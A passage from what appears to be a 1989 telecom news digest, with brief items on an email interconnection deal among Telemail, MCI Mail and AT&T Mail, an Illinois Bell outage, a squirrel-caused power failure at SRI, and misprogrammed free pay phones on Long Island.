subsidiary, Telenet has announced an interconnection agreement between
Telemail, Telenet's electronic mail product, MCI Mail, and AT&T Mail.
The new arrangement, scheduled to be in effect later this summer, will
allow the 300,000 worldwide users of Telemail, the 100,000 users of MCI
Mail and the 50,000 users of AT&T Mail to conveniently send email messages
to each other.
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9. Illinois Bell Knocked Out For Four Hours! (May 18,1989) -- Service to over
40,000 Illinois Bell subscribers in the northwest suburbs of Chicago was
disrupted for about four hours because of problems with the computer in the
switching center.
Phones were either dead or inoperative for incoming and outgoing calls
between 9:30 a.m. and 1:40 p.m. because of a software glitch at the central
office in Hoffman Estates, IL. Most of the disruption occurred in Hoffman
Estates, Schaumburg, Arlington Heights, Hanover Park, and Streamwood, IL.
The exact nature of the problem was not discussed by the Bell spokesman who
reported that the outage had been corrected. Apparently the backup system
which is supposed to kick in also failed.
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10. SRI Attacked By Kamikaze Squirrels (May 29, 1989) -- It seems that the Data
Defense Network SRI's "no-single-point-of-failure" power system failed at
the hands, or rather the paws, of a squirrel. The power was off for
approximately 9 hours and they experienced no hardware problems. This was
at least the third time that a squirrel has done SRI in.
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11. New York Telephone Freebies (June 10, 1989)(San Francisco Chronicle, p. 2.)
-- 24 pay phones along the Long Island Expressway were in fact free phones
because of a programming/database screw-up. They were being heavily used
for long distance calls by those who had discovered the oversight,
including many to Pakistan (Police found 15 Pakistani men using the phones
when they went to investigate after a shooting). There were no estimates
on the unrecovered cost of the phone calls.
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*** END ***
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